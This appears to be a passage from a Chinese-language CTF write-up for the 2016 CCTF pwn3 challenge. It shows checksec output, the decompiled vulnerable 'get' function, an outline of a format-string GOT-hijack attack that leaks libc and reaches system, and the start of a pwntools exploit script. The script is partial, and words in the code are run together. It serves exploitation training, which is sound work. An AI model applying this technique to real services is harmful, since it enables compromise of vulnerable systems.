# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3 on git:master x [12:18:24] $ checksec pwn3 [*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3/pwn3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
printf("enter the file name you want to get:"); __isoc99_scanf("%40s", s1); if ( !strncmp(s1, "flag", 4u) ) puts("too young, too simple"); for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) { if ( !strcmp(i, s1) ) { strcpy(dest, i + 40); returnprintf(dest); } } returnprintf(dest); }
首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞。
漏洞利用思路
既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路:
绕过密码
确定格式化字符串参数偏移
利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址
# sh = process('./pwn3') sh = remote('127.0.0.1', 12345)
defget(name): sh.sendline(b'get') sh.recvuntil(b'enter the file name you want to get:') sh.sendline(name) data = sh.recv() return data
defput(name, content): sh.sendline(b'put') sh.recvuntil(b'please enter the name of the file you want to upload:') sh.sendline(name) sh.recvuntil(b'then, enter the content:') sh.sendline(content)
defshow_dir(): sh.sendline(b'dir')
tmp = 'sysbdmin' name = "" for i in tmp: name += chr(ord(i) - 1)